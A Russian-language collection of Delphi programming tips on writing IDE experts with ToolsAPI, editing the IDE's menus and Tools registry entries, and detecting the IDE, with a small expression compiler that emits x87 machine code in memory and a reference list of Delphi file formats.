Какой же код нужно написать для создания простейшего эксперта? Для этого нужно написать класс, унаследованный от
IOTAWizard (определен в файле ToolsAPI.pas) или одного из его потомков, расположить в модуле процедуру Register,
как мы это делали с компонентами, и вызвать внутри ее процедуру RegisterPackageWizard (const Wizard: IOTAWizard);
например: RegisterPackageWizard (TMyExpert.Create as IOTAWizard); передав ей в качестве параметра экземпляр заранее
созданного эксперта.

Рассмотрим класс IOTAWizard.

IOTAWizard = interface(IOTANotifier)
  ['{B75C0CE0-EEA6-11D1-9504-00608CCBF153}']

  { Expert UI strings }
  function GetIDString: string;
  function GetName: string;
  function GetState: TWizardState;

  { Launch the AddIn }
  procedure Execute;
end;


Интерфейс IOTANotifier нам не понадобится, поэтому давайте рассмотрим методы IOTAWizard:

Метод GetIDString
    должен возвращать уникальный идентификатор эксперта. Например: MyCompany.MyExpert
Метод GetName
    должен возвращать название эксперта
Метод GetState
    должен возвращать [wsEnabled], если эксперт функционирует, wsChecked если выбран.
Метод Execute
    вызывается при запуске эксперта из среды IDE.

Итак, если вы хотите сами программировать действия вашего эксперта, включая добавление в меню IDE и прочее и прочее,
унаследуйте его от IOTAWizard.

Если вы хотите, чтобы ваш эксперт отображался в репозитарии Delphi на произвольной странице и по щелчку по его иконке
вызывался его метод Execute - унаследуйте его от IOTARepositoryWizard

IOTARepositoryWizard = interface(IOTAWizard)
  ['{B75C0CE1-EEA6-11D1-9504-00608CCBF153}']
  function GetAuthor: string;
  function GetComment: string;
  function GetPage: string;
  function GetGlyph: Cardinal;
end;


Метод GetAuthor
    должен возвращать имя автора,
Метод GetComment
    - комментарий,
Метод GetPage
    - страницу на которой будет расположена иконка эксперта
Метод GetGlyph
    - дескриптор иконки

Если вы хотите, чтобы эксперт появлялся на странице форм в репозитарии - унаследуйте его от IOTAFormWizard. Он имеет
все те же методы и свойства, что и IOTARepositoryWizard, если на странице проектов - от IOTAProjectWizard. Он тоже
аналогичен IOTARepositoryWizard.

Если же вы хотите, чтобы пункт меню для вызова метода вашего эксперта Execute помещался в меню Help главного меню IDE,
унаследуйте вашего эксперта от IOTAMenuWizard:

IOTAMenuWizard = interface(IOTAWizard)
  ['{B75C0CE2-EEA6-11D1-9504-00608CCBF153}']
  function GetMenuText: string;
end;


Метод GetMenuText должен возвращать имя пункта меню для отображения, а метод GetState возвращает стиль элемента меню
(Enabled, Checked)

Вот так все просто, оказывается!

Расположение эксперта внутри DLL библиотеки

Если вы хотите расположить вашего эксперта не в пакете, а в DLL библиотеке, библиотека должна экспортировать функцию
INITWIZARD0001 следующего формата:

type
  TWizardRegisterProc = function(const Wizard: IOTAWizard): Boolean;
type
  TWizardTerminateProc = procedure;

function INITWIZARD0001(const BorlandIDEServices: IBorlandIDEServices;
  RegisterProc: TWizardRegisterProc; var Terminate: TWizardTerminateProc):
    Boolean stdcall;


Для регистрации вашего эксперта вызовите внутри этой функции RegisterProc и передайте ей экземпляр заранее созданного
класса вашего эксперта. BorlandIDEServices - указатель на основной интерфейс для работы со всей IDE. Отдельные части его
мы рассмотрим далее. По окончании работы IDE или при принудительной выгрузке вашего эксперта будет вызвана функция
Terminate, которую вы должны передать среде. Поместите полный путь к DLL в ключ реестра
HKEY_CURRENT_USER\Software\Borland\Delphi\7.0\Experts
или
HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\7.0\Experts
Именем ключа может быть произвольная строка.

Эксперт будет запущен только при перезапуске среды, если она выполнялась. Вуаля!
К заголовку




" Как создать свой пункт меню в Дельфи IDE
{....}

uses ToolsApi, Menus;

{....}

var
  item: TMenuItem;
begin
  {get reference to delphi's mainmenu. You can handle it like a common TMainMenu}
  with (BorlandIDEServices as INTAServices).GetMainMenu do
  begin
    item := TMenuItem.Create(nil);
    item.Caption := 'A Mewn caption';
    Items.Add(item);
  end;
end;
К заголовку




" Компилятор синтаксических выражений
Что это и зачем или Немного наглой саморекламы

Эта программа представляет собой простенький компилятор синтаксических выражений. "Ну опять", - скажет невнимательный
читатель, но мы то с тобой внимательные, и понимаем что компилятор, это совсем не то что валяется на каждом
программистском сайте. В отличие от парсера (или интерпретатора) такую штуку встретить можно несколько реже. Если честно,
то когда она мне была нужна, я ее нигде не встретил. И поэтому родилась эта программа.

Что он может или Какие мы маленькие

Да в общем-то немного, и ценности в ней мало :). Она может вычислять выражения (тип - вещественное число с плавающей
точкой (на момент написания это называлось Real)) с использованием операций (+,-,/,*). Мало... А разве сложно дописать
пару строк чтобы обработать Y или экспоненту коли они будут нужны?

Так зачем же это нужно.

В силу своей огромной нескромности я полагаю, что кому-нибудь это все может быть интересно как пример непосредственного
формирования кода в памяти и его исполнения.

Отдельное спасибо

(да я знаю, что благодарности помещают в конце, но там их редко кто читает :)) так вот отдельное спасибо: Спасибо
человеку, который сделал из меня программиста. Спасибо Королеве Елене Филипповой. Если вы здесь, то вы знаете за что.:)
Эта программа написана в то время когда меня можно было легко "взять на "слабо"". Так вот спасибо тому кто меня
подначил на ее написание :)

Но к делу

Взявшись оформлять этот пример для общественности, я понял, что меняются не только времена и люди, но и исходники
лежащие в архиве. Да их не узнать! Да неужели это писал я? Да... точно... странно... Но ведь он все еще работает!
Вдвойне странно... Так что если что - сильно не ругаться - я был молодой и временами делал некрасивости. Старинный
закон гласит: последняя ошибка программы выявляется через 7 лет эксплуатации. Если вы заметили ошибку, которой не
заметил я - то буду благодарен, если вы мне о ней напишите. Я, пожалуй, не буду следовать примеру Д. Кнута и высылать
деньги за замеченные ошибки, но спасибо скажу :).

Как все это работает:

Компилятор он и есть компилятор. Сначала выражение надо скомпилировать. Делается это с помощью функции

function Prepare(Ex:String):real;

которая вызывает

function preCalc(Ex:String):real;

формирующую код, вычисляющий заданное выражение. Как можно догадаться, Ex - это строка, содержащая математическое
выражение. Функция preCalc рекурсивна и распознавая полученную математику, попутно формируя исполняемый код. Она
имеет мало проверок на корректность и нет нужды вводить туда мусор и радоваться, когда увидите что все повисло.
Помните правило GIGO (Garbage in Garbage Out). Не надо также ставить 0 под знак деления. Но это уже не моя ошибка :)))

ВНИМАНИЕ:

ограничение на глубина рекурсии: полученый код не должен помещать в стек более 8 значений.Снятие этого ограничения
опять же лишь вопрос практической реализации.

Для понятности формируемый код представляется в ближайшем Memo. Функция возвращает: а фиг его знает что она возвращает
:) лучше не обращайте внимания :) Скомпилировали? Теперь можно и запускать: При компиляции мы сформировали процедуру
с красноречивым названием:

proc:TProc;

где

type TProc=procedure;

пример запуска можно найти в

procedure TForm1.BitBtn1Click(Sender: TObject);

Также встречаются процедуры и функции:

function SecindBracket(Ex:String;first:integer):Integer;

вот уж и не помню, отчего появилось такое красивое название (скорее всего от очепятки), но все это призвано обработать
скобки в выражении ,

procedure TForm1.BitBtn1Click(Sender: TObject); // Вычисляй

запускает вычисление, а также

procedure TForm1.Button2Click(Sender: TObject); // Speed test

для того чтобы посмотреть какой за быстрый получился код. К сему прилагается слегка комментированный исходный код.
Вряд ли кому нужны комментарии типа:

I:=0; // обнуляем счетчик

а по структуре программы там комментариев хватает. Ну вот и все... Буду рад если вам это пригодиться.
Если какие пожелания - пишите. Конструктивная критика - пишите. Неконструктивная критика - тоже пишите - у меня файлы
удаляются без помещения в корзину.

// Это Unit1.pas

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Buttons, StrEx, Math;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    BitBtn1: TBitBtn;
    Label1: TLabel;
    Memo1: TMemo;
    Button1: TButton;
    Edit2: TEdit;
    Label2: TLabel;
    Button2: TButton;
    procedure BitBtn1Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Edit1Change(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
  TProc = procedure;

var
  Form1: TForm1;
  A: array of real;
  CS: array of Byte;
  DS: array of Real;
  Res, X, Y: real;
  proc: TProc;

function preCalc(Ex: string): real;
function Prepare(Ex: string): real;
function SecindBracket(Ex: string; first: integer): Integer;

implementation
{$R *.DFM}

//      это про скобки... это просто и не заслуживает большого внимания.

function SecindBracket(Ex: string; first: integer): Integer;
var
  i, BrQ: integer;
begin
  Result := 0;
  case Ex[first] of
    '(':
      begin
        i := first + 1;
        BrQ := 0;
        while (i <= length(Ex)) do
        begin
          if (BrQ = 0) and (Ex[i] = ')') then
          begin
            Result := i;
            exit;
          end;
          if Ex[i] = '(' then
            Inc(BrQ)
          else if Ex[i] = ')' then
            Dec(BrQ);
          i := i + 1;
        end;
      end;
    ')':
      begin
        i := first - 1;
        BrQ := 0;
        while (i > 0) do
        begin
          if (BrQ = 0) and (Ex[i] = '(') then
          begin
            Result := i;
            exit;
          end;
          if Ex[i] = '(' then
            Inc(BrQ)
          else if Ex[i] = ')' then
            Dec(BrQ);
          i := i - 1;
        end;
      end;
  end;
end;

//      а вот тут мы собственно и формируем процедуру

function Prepare(Ex: string): real;
begin
  SetLength(Ds, 1);

  //      вот это будет заголовок
  SetLength(CS, 6);
  cs[0] := $8B;
  cs[1] := $05;
  cs[2] := (integer(@ds) and $000000FF) shr 0;
  cs[3] := (integer(@ds) and $0000FF00) shr 8;
  cs[4] := (integer(@ds) and $00FF0000) shr 16;
  cs[5] := (integer(@ds) and $FF000000) shr 24;

  //      вот это - вычисление
  X := 1; //догадайтесь зачем :)
  preCalc(Ex);

  //      а вот это - завершение
  SetLength(CS, high(CS) + 7);
  cs[high(CS) - 5] := $DD;
  cs[high(CS) - 4] := $1D;
  cs[high(CS) - 3] := (integer(@res) and $000000FF) shr 0;
  cs[high(CS) - 2] := (integer(@res) and $0000FF00) shr 8;
  cs[high(CS) - 1] := (integer(@res) and $00FF0000) shr 16;
  cs[high(CS) - 0] := (integer(@res) and $FF000000) shr 24;

  SetLength(CS, high(CS) + 2);

  //      ну и не забудем про RET
  cs[high(CS)] := $C3; // ret

  proc := pointer(cs);
end;

//      будем формировать код рассчета.

function preCalc(Ex: string): real;

var
  Sc, i, j: integer;
  s, s1: string;
  A, B: real;

const
  Op: array[0..3] of char = ('+', '-', '/', '*');

begin

  s := ''; //      да всегда инициализируйте переменные ваши
  for i := 1 to length(Ex) do
    if ex[i] <> ' ' then
      s := s + ex[i];
  // чтобы под ногами не путались :)

  while SecindBracket(s, Length(s)) = 1 do
    s := copy(s, 2, Length(s) - 2); // скобки

  if s = '' then
  begin
    Result := 0;
    ShowMessage('Error !');
    exit;
  end;

  val(s, Result, i); // это число ? а какое ?

  if i = 0 then
  begin //      ага это число. так и запишем
    Form1.Memo1.Lines.Add('fld ' + FloatToStr(result));
    SetLength(Ds, high(ds) + 2);
    Ds[high(ds)] := Result;

    SetLength(CS, high(CS) + 4);
    cs[high(Cs)] := high(ds) * 8;
    cs[high(Cs) - 1] := $40;
    cs[high(Cs) - 2] := $DD;
    exit;
  end;
  if (s = 'x') or (s = 'X') then
  begin //      опа, да это же Икс !
    Form1.Memo1.Lines.Add('fld X');
    SetLength(CS, high(CS) + 7);
    cs[high(CS) - 5] := $DD;
    cs[high(CS) - 4] := $05;
    cs[high(CS) - 3] := (integer(@x) and $000000FF) shr 0;
    cs[high(CS) - 2] := (integer(@x) and $0000FF00) shr 8;
    cs[high(CS) - 1] := (integer(@x) and $00FF0000) shr 16;
    cs[high(CS) - 0] := (integer(@x) and $FF000000) shr 24;
  end;

  // это все еще выражение :( ох не кончились наши мучения
  i := -1;
  j := 0;
  while j <= 1 do
  begin
    i := length(s);
    Sc := 0;
    while i > 0 do
    begin // ну скобки надо обойти
      if s[i] = ')' then
        Inc(Sc);
      if s[i] = '(' then
        Dec(Sc);
      if Sc <> 0 then
      begin
        dec(i);
        continue;
      end;
      if (s[i] = Op[j * 2]) then
      begin
        j := j * 2 + 10;
        break;
      end;
      if (s[i] = Op[j * 2 + 1]) then
      begin
        j := j * 2 + 11;
        break;
      end;
      dec(i);
    end;
    inc(j);
  end;

  //('+','-','/','*');
  // а вот и рекурсия - все что справа и слева от меня пусть обработает ...
  // ой да это же я:) Ну а я так уж и быть сформирую код операции в середине :)
  case j of
    11:
      begin
        preCalc(copy(s, 1, i - 1));
        preCalc(copy(s, i + 1, length(s) - i));
        Form1.Memo1.Lines.Add('FAddp St(1),st');
        // cs
        //fAddP st(1),st       //  [DE C1]
        SetLength(CS, high(CS) + 3);
        cs[high(Cs)] := $C1; //      вот такой код сформируем
        cs[high(Cs) - 1] := $DE;
      end;
    //      далее - аналогично для каждой операции
    12:
      begin
        preCalc(copy(s, 1, i - 1));
        preCalc(copy(s, i + 1, length(s) - i));
        Form1.Memo1.Lines.Add('FSubP St(1),st');
        //fSubP st(1),st       //  [DE E9]
        SetLength(CS, high(CS) + 3);
        cs[high(Cs)] := $E9;
        cs[high(Cs) - 1] := $DE;
      end;
    13:
      begin
        try
          preCalc(copy(s, 1, i - 1));
          preCalc(copy(s, i + 1, length(s) - i));
          Form1.Memo1.Lines.Add('fdivP st(1),st');
          //fDivP st(1),st       //  [DE F9]
          SetLength(CS, high(CS) + 3);
          cs[high(Cs)] := $F9;
          cs[high(Cs) - 1] := $DE;
        except
          ShowMessage('Division by zero !... ');
          preCalc(copy(s, 1, i - 1));
          preCalc(copy(s, i + 1, length(s) - i));
          exit;
        end;
      end;
    14:
      begin
        preCalc(copy(s, 1, i - 1));
        preCalc(copy(s, i + 1, length(s) - i));
        Form1.Memo1.Lines.Add('FMulp St(1),st');
        //fMulP st(1),st       //  [DE C9]
        SetLength(CS, high(CS) + 3);
        cs[high(Cs)] := $C9;
        cs[high(Cs) - 1] := $DE;
      end;
  end;
end;

//      Вычисляй

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
  x := StrToFloat(Edit2.text);
  if (@proc <> nil) then
    proc; //      Вычисляй
  Label1.caption := FloatToStr(res);
end;

//      это всякие сервисные функции

procedure TForm1.Button1Click(Sender: TObject);
begin
  Memo1.Clear;
  Prepare(Edit1.text);
  BitBtn1.Enabled := true;
end;

procedure TForm1.Edit1Change(Sender: TObject);
begin
  BitBtn1.Enabled := false;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Edit1.OnChange(self);
end;

// а это для того чтобы посмотреть какой за быстрый получился код

procedure TForm1.Button2Click(Sender: TObject); //Speed test
var
  t: TDateTime;
  i: integer;
const
  N = $5000000; //количество повторений
begin
  if @proc = nil then
    exit;
  t := now;
  for i := 0 to N do
  begin
    x := i;
    proc;
    x := res;
  end;
  t := now - t;
  Memo1.lines.add('work time for ' + inttostr(N) + ' repeats =' + TimeToStr(t) +
    ' sec');
  Memo1.lines.add('=' + FloatToStr(t) + ' days');
end;

end.

// а это Unit1.dfm

object Form1: TForm1
  Left = 175
    Top = 107
    Width = 596
    Height = 375
    Caption = 'Form1'
    Color = clBtnFace
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    OldCreateOrder = False
    OnCreate = FormCreate
    PixelsPerInch = 96
    TextHeight = 13
    object Label1: TLabel
    Left = 448
      Top = 56
      Width = 6
      Height = 13
      Caption = '[]'
  end
  object Label2: TLabel
    Left = 19
      Top = 12
      Width = 13
      Height = 13
      Caption = 'X='
  end
  object Edit1: TEdit
    Left = 16
      Top = 32
      Width = 417
      Height = 21
      TabOrder = 0
      Text = '((24/2)+3*(7-x))'
      OnChange = Edit1Change
  end
  object BitBtn1: TBitBtn
    Left = 448
      Top = 32
      Width = 75
      Height = 22
      TabOrder = 1
      OnClick = BitBtn1Click
      Kind = bkOK
  end
  object Memo1: TMemo
    Left = 16
      Top = 80
      Width = 241
      Height = 249
      TabOrder = 2
  end
  object Button1: TButton
    Left = 448
      Top = 2
      Width = 75
      Height = 25
      Caption = 'prepare'
      TabOrder = 3
      OnClick = Button1Click
  end
  object Edit2: TEdit
    Left = 36
      Top = 8
      Width = 53
      Height = 21
      TabOrder = 4
      Text = '2'
  end
  object Button2: TButton
    Left = 264
      Top = 80
      Width = 75
      Height = 25
      Caption = 'Speed test'
      TabOrder = 5
      OnClick = Button2Click
  end
end


К заголовку




" Описание типов файлов для Delphi
Формат .CAB-файлов

Это формат файлов, который Delphi предлагает теперь своим пользователям для размещения в Интернете. Cabinet-формат
является эффективным средством для упаковки нескольких файлов. Cabinet-формат имеет две ключевых характеристики: в
отдельном кабинете (.cab-файл) могут храниться несколько файлов, и сжатие данных выполняется в зависимости от типа
файлов, что значительно увеличивает коэффициент сжатия. Создание Cabinet-файла зависит также от количества упаковываемых
файлов и ожидаемого к ним типа доступа (последовательный, произвольный, одновременный ко всем файлам или доступ к
нескольким файлам в одно и тоже время). Delphi не пользуется преимуществами сжатия файлов в зависимости от их типа.

Формат .LIC-файлов

В действительности, как такового, формата .lic-файла не существует. Обычно это такие же текстовые файлы, содержащие
одну или две ключевых строки.

Формат .INF-файлов

Все inf-файлы состоят из секций и пунктов. Каждая именованная секция содержит соответствующие пункты. Все inf-файлы
начинаются с заголовочной секции. После заголовка включенные секции могут располагаться в любом порядке. Каждый
заголовок представляет собой строку с [Именем Заголовка]. Далее следуют пункты: ItemA = ItemDetail. Для получения
дополнительной информации обратитесь к документу "Device Information File Reference".

Формат .dpr-файлов

.dpr-файл является центральным файлом delphi-проекта. Для программы он является первой точкой входа. dpr содержит
ссылки на другие файлы проекта и связывает формы с соответствующими модулями. Данный файл нужно редактировать с
предельной осторожностью, так как неумелые действия могут привести к тому, что вы не сможете загрузить ваш проект.
Этот файл является критическим при загрузке и перемещении (копировании) проекта.

Формат .pas-файлов

Это стандартный текстовый файл, который можно редактировать в текстовом редакторе. Данный файл нужно редактировать с
некоторой долей осторожности, поскольку это может закончиться потерей некоторых преимуществ двух других инструментов.
К примеру, добавление кода для кнопки с декларацией типа никак не отразится на соответствующем .dfm-файле формы. Все
pas-файлы являются критическими при пересборке проекта.

Формат .dfm-файлов

Данный файл содержит описание объектов, расположенных на форме. Содержимое файла можно увидеть в виде текста, вызвав
правой кнопкой мыши контекстное меню и выбрав пункт "view as text", или же с помощью конвертора convert.exe
(расположенного в каталоге bin), также позволяющего перевести файл в текстовый вид и обратно. Данный файл нужно
редактировать очень осторожно, поскольку это может закончиться тем, что IDE не сможет загрузить форму. Этот файл является
критическим при перемещении и пересборке проекта.

Формат .DOF-файлов

Данный текстовый файл содержит текущие установки для опций проекта, как например, настройки компилятора и компоновщика,
каталоги, условные директивы и параметры командной строки. Данные установки могут быть изменены пользователем путем
изменений настроек проекта.

Формат .DSK-файлов

Данный текстовый файл хранит информацию относительно состояния вашего проекта, как например, открытое окно и его
координаты. Подобно .DOF-файлу, данный файл создается на основе текущей обстановки проекта.

Формат .DPK-файлов

Данный файл содержит исходный код пакета (аналогично .DPR-файлу стандартного проекта Delphi). Подобно файлу .DPR,
.DPK-файл также является простым текстовым файлом, который можно редактировать (см. предупреждение выше) в стандартном
редакторе. Одной из причин, по которой вы можете это сделать - использование компилятора командной строки.

Формат .DCP-файлов

Данный бинарный image-файл состоит фактически из реально скомпилированного пакета. Информация о символах и
дополнительных заголовках, требуемых IDE, полностью содержится в .DCP-файле. Чтобы собрать (build) проект, IDE должен
иметь доступ к этому файлу.

Формат .DPL-файла

В действительности это выполняемый runtime-пакет. Данный файл является Windows DLL с интегрированными
Delphi-специфическими характеристиками. Данный файл необходим в случае развертывания приложения, использующего пакеты.

Формат .DCI-файла

Данный файл содержит как стандартные, так и определенные пользователем шаблоны кода, используемых в IDE.
Файл может редактироваться стандартным текстовым редактором, или в самой IDE. Как и любой текстовый файл
данных, используемый Delphi, редактировать его самостоятельно не рекомендуется.

Формат .DCT-файла

Это "частный" бинарный файл, содержащий информацию об определенных пользователями шаблонах компонентов.
Данный файл не может быть отредактирован никакими способами через IDE. Поскольку данный файл является
"личным" файлом IDE, то совместимость с последующими версиями Delphi не гарантируется.

Формат .TLB-файла

.TLB-файл является "частным" двоичным файлом библиотеки типов. Обеспечивает информацией для идентификации
типов объектов и интерфейсов, доступных в ActiveX сервере. Подобно модулю или заголовочному файлу, .TLB служит
в качестве хранилища для необходимой символьной информации приложения. Поскольку данный файл является "личным",
то совместимость с последующими версиями Delphi не гарантируется.

Формат .DRO-файла

Данный текстовый файл содержит информацию об объектном хранилище. Каждый пункт данного файла содержит
специфическую информацию о каждом доступном элементе в хранилище объектов. Хотя этот файл и является простым
текстовым файлом, мы настоятельно не рекомендуем править его вручную. Хранилище может редактироваться только
с помощью меню Tools|Repository в самом IDE.

Формат .RES-файла

Это стандартный двоичный windows-формата файл ресурсов, включающий в себя информацию о приложении.
По умолчанию, Delphi создает новый .RES-файл при каждой компиляции проекта в исполняемое приложение.

Формат .DB-файла

Файлы с таким расширением - стандартные файлы Paradox.

Формат .DBF-файла

Файлы с таким расширением - стандартные dBASE-файлы.

Фомат .GDB-файла

Файлы с таким расширением - стандартные Interbase-файлы.

Формат .DMT-файла

Этот "частный" бинарный файл содержит встроенные и определенные пользователем шаблоны меню.
Данный файл не может быть отредактирован никакими способами через IDE. Поскольку данный файл является "личным",
то совместимость с последующими версиями Delphi не гарантируется.

Формат .DBI-файла

Данный текстовый файл содержит информацию, необходимую для инициализации Database Explorer. Данный файл не может
быть отредактирован никакими способами через Database Explorer.

Формат .DEM-файла

Данный текстовый файл содержит некоторые стандартные, привязанные к стране, форматы компонента TMaskEdit.
Как и любой текстовый файл данных, используемый Delphi, редактировать его самостоятельно не рекомендуется.

Формат .OCX-файла

.OCX-файл является специализированной DLL, которая содержит все или несколько функций, связанных с элементом
управления ActiveX. Файл OCX задумывался как "обертка", которая содержала бы сам объект, и средства для связи
с другими объектами и серверами.
К заголовку




" Определение работы в Delphi IDE
function DelphiLoaded: boolean;
{ Определение работающей Delphi. Во всяком случае, дает
правильный результат если Delphi минимизирован, или имеет о
ткрытый проект. Также, правильный результат получается,
если вызывающее приложение автономно, или запущено из-под
IDE. Код написан на основе идей Wade Tatman
wtatman@onramp.net - Mike O'Hanlon, The Pascal Factory,
найденных в Delphi-Talk List. }

  function WindowExists(ClassName, WindowName: string): boolean;
    { Проверяем наличие определенного окна Window, используя
    для этого паскалевские строки вместо PChars. }

  var
    PClassName, PWindowName: PChar;
    AClassName, AWindowName: array[0..63] of char;
  begin
    if ClassName = '' then
      PClassName := nil
    else
      PClassName := StrPCopy(@AClassName[0], ClassName);
    if WindowName = '' then
      PWindowName := nil
    else
      PWindowName := StrPCopy(@AWindowName[0], WindowName);
    if FindWindow(PClassName, PWindowName) <> 0 then
      WindowExists := true
    else
      WindowExists := false;
  end; {WindowExists}

begin {DelphiLoaded}
  DelphiLoaded := false;
  if WindowExists('TPropertyInspector', 'Object Inspector') then
    if WindowExists('TMenuBuilder', 'Menu Designer') then
      if WindowExists('TApplication', 'Delphi') then
        if WindowExists('TAlignPalette', 'Align') then
          if WindowExists('TAppBuilder', '') then
            DelphiLoaded := true;
end; {DelphiLoaded}


Следующая программа возвращает TRUE при запуске в Delphi IDE (ПРИМЕЧАНИЕ: это _не_ сработает, если подпрограмма в DLL).

function InIDE: Boolean;
begin
  Result := Bool(PrefixSeg) and
    Bool(PWordArray(MemL[DSeg:36])^[8]));
end;  { InIDE }


К заголовку




" Получить все установленные компоненты в IDE Delphi
{....}

 uses ToolsApi;

 {....}


 var
   a, i: Integer;
 begin
   with (BorlandIDEServices as IOTAPackageServices) do
   begin
     for a := 0 to GetPackageCount - 1 do
     begin
       for i := 0 to GetComponentCount(a) - 1 do
       begin
         {get each component name with GetComponentName(a, i);}
       end;
     end;
   end;
 end;
К заголовку




" Программно управлять меню Инструменты в среде Delphi
//**  class to manage Delphi's Tool list
//**
//**  if Delphi is running restart it to see changes
//*************************************************************

unit DelphiTool;

 interface

 uses
   Windows, SysUtils, Registry, classes;

 type
   TDelphiVersion = ({dvD5,} dvD6);

   EDelphiTool_AlreadyRegistered = class(Exception);
   EDelphiTool_InvalidIndex = class(Exception);

   TDelphiTool = class
   private
     F_Registry: TRegistry;
     F_ToolCount: Integer;
     F_ToolPath: string;
   protected
     function OpenKey(key: string; CanCreate: Boolean): Boolean;

   public
     constructor Create;
     destructor Destroy; override;

     procedure SetRootKey(root_key: HKEY);
     procedure SetDelphiVersion(version: TDelphiVersion);

     procedure Add(params, path, title, workingDir: string);
     procedure Edit(toolIndex: Integer; params, path, title, workingDir: string);
     procedure Delete(toolIndex: Integer);

     function IndexOf(toolTitle: string): Integer;
     function Count: Integer;
     procedure ToolProperties(toolIndex: Integer;
       out params, path, title, workingDir: string);
   end;


 implementation

 { TDelphiTool }

 constructor TDelphiTool.Create;
 begin
   inherited;
   SetDelphiVersion(dvD6);
   F_Registry := TRegistry.Create;
 end;

 destructor TDelphiTool.Destroy;
 begin
   F_Registry.CloseKey;
   F_Registry.Free;
   inherited;
 end;

 function TDelphiTool.IndexOf(toolTitle: string): Integer;
 var
   found: boolean;
   loop: integer;
   Count: integer;
 begin
   Result := -1;

   if OpenKey(F_ToolPath, True) then
   begin
     loop  := 0;
     found := False;
     while (loop < F_ToolCount) and not found do
     begin
       found := F_Registry.ReadString('Title' + IntToStr(loop)) = toolTitle;
       if not found then Inc(loop);
     end;
   end;

   if found then Result := loop;
 end;

 procedure TDelphiTool.SetRootKey(root_key: HKEY);
 begin
   F_Registry.RootKey := root_key;
 end;

 procedure TDelphiTool.Add(params, path, title, workingDir: string);
 var
   Count: integer;
   suffix: string;
 begin
   if OpenKey(F_ToolPath, True) then
   begin
     try
       if IndexOf(title) < 0 then
       begin
         Count  := F_ToolCount;
         suffix := IntToStr(Count);
         Inc(Count);

         F_registry.WriteString('Params' + suffix, params);
         F_registry.WriteString('Path' + suffix, path);
         F_registry.WriteString('Title' + suffix, title);
         F_registry.WriteString('WorkingDir' + suffix, workingDir);

         F_registry.WriteInteger('Count', Count);
         F_ToolCount := Count;
       end
       else
         raise EDelphiTool_AlreadyRegistered.Create('[Add]: Tool is already registered.');
     finally
       F_Registry.CloseKey;
     end;
   end
 end;

 function TDelphiTool.OpenKey(key: string; CanCreate: Boolean): Boolean;
 begin
   Result := F_Registry.OpenKey(key, CanCreate);
   if F_Registry.ValueExists('Count') then F_ToolCount := F_Registry.ReadInteger('Count')
   else
     F_ToolCount := 0;
 end;

 procedure TDelphiTool.Edit(toolIndex: Integer; params, path, title, workingDir: string);
   // if you don't want to change one property set to ''
var
   suffix: string;
 begin
   if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
     raise EDelphiTool_InvalidIndex.Create('[Edit]: Invalid index.')
   else
   begin
     if OpenKey(F_ToolPath, True) then
     begin
       try
         suffix := IntToStr(toolIndex);

         if (params <> '') then
           F_registry.WriteString('Params' + suffix, params);
         if (path <> '') then
           F_registry.WriteString('Path' + suffix, path);
         if (title <> '') then
           F_registry.WriteString('Title' + suffix, title);
         if (workingDir <> '') then
           F_registry.WriteString('WorkingDir' + suffix, workingDir);

       finally
         F_Registry.CloseKey;
       end;
     end
   end;
 end;

 procedure TDelphiTool.Delete(toolIndex: Integer);
 var
   suffix, tmp_suffix: string;
   i: integer;
 begin
   if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
     raise EDelphiTool_InvalidIndex.Create('[Delete]: Invalid index.')
   else
   begin
     if OpenKey(F_ToolPath, True) then
     begin
       try
         suffix := IntToStr(toolIndex);
         for i := toolIndex + 1 to F_ToolCount - 1 do
         begin
           tmp_suffix := IntToStr(i);
           F_registry.WriteString('Params' + suffix,
             F_registry.ReadString('Params' + tmp_suffix));
           F_registry.WriteString('Path' + suffix,
             F_registry.ReadString('Path' + tmp_suffix));
           F_registry.WriteString('Title' + suffix,
             F_registry.ReadString('Title' + tmp_suffix));
           F_registry.WriteString('WorkingDir' + suffix,
             F_registry.ReadString('WorkingDir' + tmp_suffix));

           suffix := IntToStr(i);
         end;

         F_registry.DeleteValue('Params' + suffix);
         F_registry.DeleteValue('Path' + suffix);
         F_registry.DeleteValue('Title' + suffix);
         F_registry.DeleteValue('WorkingDir' + suffix);

         F_registry.WriteInteger('Count', F_ToolCount - 1);
         Dec(F_ToolCount);
       finally
         F_Registry.CloseKey;
       end;
     end;
   end;
 end;

 procedure TDelphiTool.SetDelphiVersion(version: TDelphiVersion);
   //*************************************************************
  //  for versions other then D6 lookup the registry and add lines
  // like below , also add dvDx entries to TDelphiVersion
begin
   case version of
     dvD6: F_ToolPath := '\Software\Borland\Delphi\6.0\Transfer';

     //** don't have D5, just guessing, so check it in the registry
    //** before uncommenting
    //   dvD5: F_ToolPath:= '\Software\Borland\Delphi\5.0\Transfer';
  end;
 end;

 function TDelphiTool.Count: Integer;
 begin
   Result := F_ToolCount;
 end;

 procedure TDelphiTool.ToolProperties(toolIndex: Integer; out params, path,
   title, workingDir: string);
 var
   suffix: string;
 begin
   if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
     raise EDelphiTool_InvalidIndex.Create('[ToolProperties]: Invalid index.')
   else
   begin
     if OpenKey(F_ToolPath, True) then
     begin
       try
         suffix := IntToStr(toolIndex);

         params := F_registry.ReadString('Params' + suffix);
         path := F_registry.ReadString('Path' + suffix);
         title := F_registry.ReadString('Title' + suffix);
         workingDir := F_registry.ReadString('WorkingDir' + suffix);

       finally
         F_Registry.CloseKey;
       end;
     end
   end;
 end;

 end.

 //*******************************************************************
//**  how to use it?
//*******************************************************************
unit Unit1;

 interface

 uses
   Windows, {...}, DelphiTool;

  //...
 //...
 //...

var
   Form1: TForm1;

 implementation

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   with TDelphiTool.Create do
     try
       //  Delete(IndexOf('MyTool'));
      Add('', Application.ExeName, 'MyTool', ExtractFilePath(Application.ExeName));
       //  Edit(IndexOf('MyTool'), '', '', 'MyTool But Edited', '');
    finally
       Free;
     end;
 end;
